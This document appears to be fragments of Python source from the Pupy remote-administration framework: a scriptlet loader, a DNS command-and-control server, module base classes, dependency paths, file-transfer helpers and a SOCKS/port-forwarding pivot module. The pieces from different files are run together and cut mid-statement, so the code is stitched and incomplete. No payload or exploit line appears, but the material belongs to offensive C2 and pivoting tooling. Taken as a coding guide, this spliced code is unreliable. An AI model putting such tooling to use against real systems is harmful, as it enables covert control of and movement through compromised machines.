'load_scriptlets' ] from pupylib import getLogger from pupylib.payloads import dependencies from pupylib.PupyCompile import Compiler from collections import OrderedDict from ast import (parse, TryExcept, FunctionDef, Num, Name, Str, Expr, Assign, If, Load, Param, NodeTransformer) from os import path, listdir ROOT = path.abspath(path.join(path.dirname(__file__), '..', 'packages')) logger = getLogger('scriptlets') WRAPPING_TEMPLATE = ''' def __{scriptlet}_closure__(): try: {scriptlet}_logger = logger.getChild("{scriptlet}") {scriptlet}_logger.debug('Start...') # SCRIPTLET BODY GOES HERE 'PLACEHOLDER' {scriptlet}_main(logger={scriptlet}_logger, pupy=pupy) {scriptlet}_logger.debug('Done') except Exception, e: {scriptlet}_logger.exception(e)
) import struct import random import base64 import time import zlib import hashlib import functools import logging try: from pupylib import getLogger logger = getLogger('dnscnc') except: logger = logging.getLogger('dnscnc') blocks_logger = logger.getChild('whitelist') import socket import socketserver import binascii import netaddr from threading import Thread, RLock, Event from dnslib import DNSRecord, RR, QTYPE, A, RCODE from dnslib.server import DNSHandler, BaseResolver, DNSLogger
import json import re import struct import math import io REQUIRE_NOTHING = 0 REQUIRE_STREAM = 1 REQUIRE_REPL = 2 REQUIRE_TERMINAL = 3 QA_STABLE = 0 QA_UNSTABLE = 1 QA_DANGEROUS = 2 logger = getLogger('module') class IgnoreModule(Exception): pass class PupyArgumentParserWrap(object): def __init__(self, base, wrapped): self.base = base self.wrapped = wrapped def __call__(self, *args, **kwargs): self.wrapped.__call__(*args, **kwargs) def __getattr__(self, name):
pass class UnsafePathError(ValueError): pass class NotFoundError(NameError): pass class IgnoreFileException(Exception): pass logger = getLogger('deps') LIBS_AUTHORIZED_PATHS = [x for x in sys.path if x != '' ] + [os.path.join(ROOT, 'packages'), 'packages'] PATCHES_PATHS = [ os.path.abspath(os.path.join(os.getcwdu(), 'packages', 'patches')), os.path.abspath(os.path.join(ROOT, 'packages', 'patches')), os.path.abspath(os.path.join(ROOT, 'library_patches')) ] # ../libs - for windows bundles, to use simple zip command # site-packages/win32 - for pywin32 COMMON_SEARCH_PREFIXES = ('', 'site-packages/win32/lib', 'site-packages/win32', 'site-packages/pywin32_system32', 'site-packages', 'lib-dynload')
from scandir import scandir if scandir is None: from scandir import scandir_generic as scandir import rpyc import sys try: import umsgpack as msgpack except ImportError: import msgpack import re from pupylib import getLogger logger = getLogger('transfer') FIELDS_MAP = { x: y for x, y in enumerate( ['st_mtime', 'st_gid', 'st_uid', 'st_mode', 'st_rdev']) } FIELDS_MAP_ENCODE = {y: x for x, y in FIELDS_MAP.iteritems()} F_TYPE = 0 F_PATH = 1 F_FILES = 2 F_SIZE = 3 F_DATA = 4 F_EXC = 5
# -*- coding: utf-8 -*- import traceback from pupylib import getLogger from pupylib.PupyModule import (PupyModule, config, PupyArgumentParser) import pyuvproxy __class_name__ = 'Forward' logger = getLogger('mod_forward') @config(cat='network', tags=['forward', 'pivot']) class Forward(PupyModule): ''' Local/remote port forwarding and SOCKS proxy ''' dependencies = { 'all': ['pyuv', 'pyuvproxy'], } is_module = False @classmethod def init_argparse(cls): example = """Examples: >> run forward -L 1234 Open a Socks proxy on local port 1234. Connection output from the target. >> run forward -CL 1234 Close the local Socks proxy opened on 1234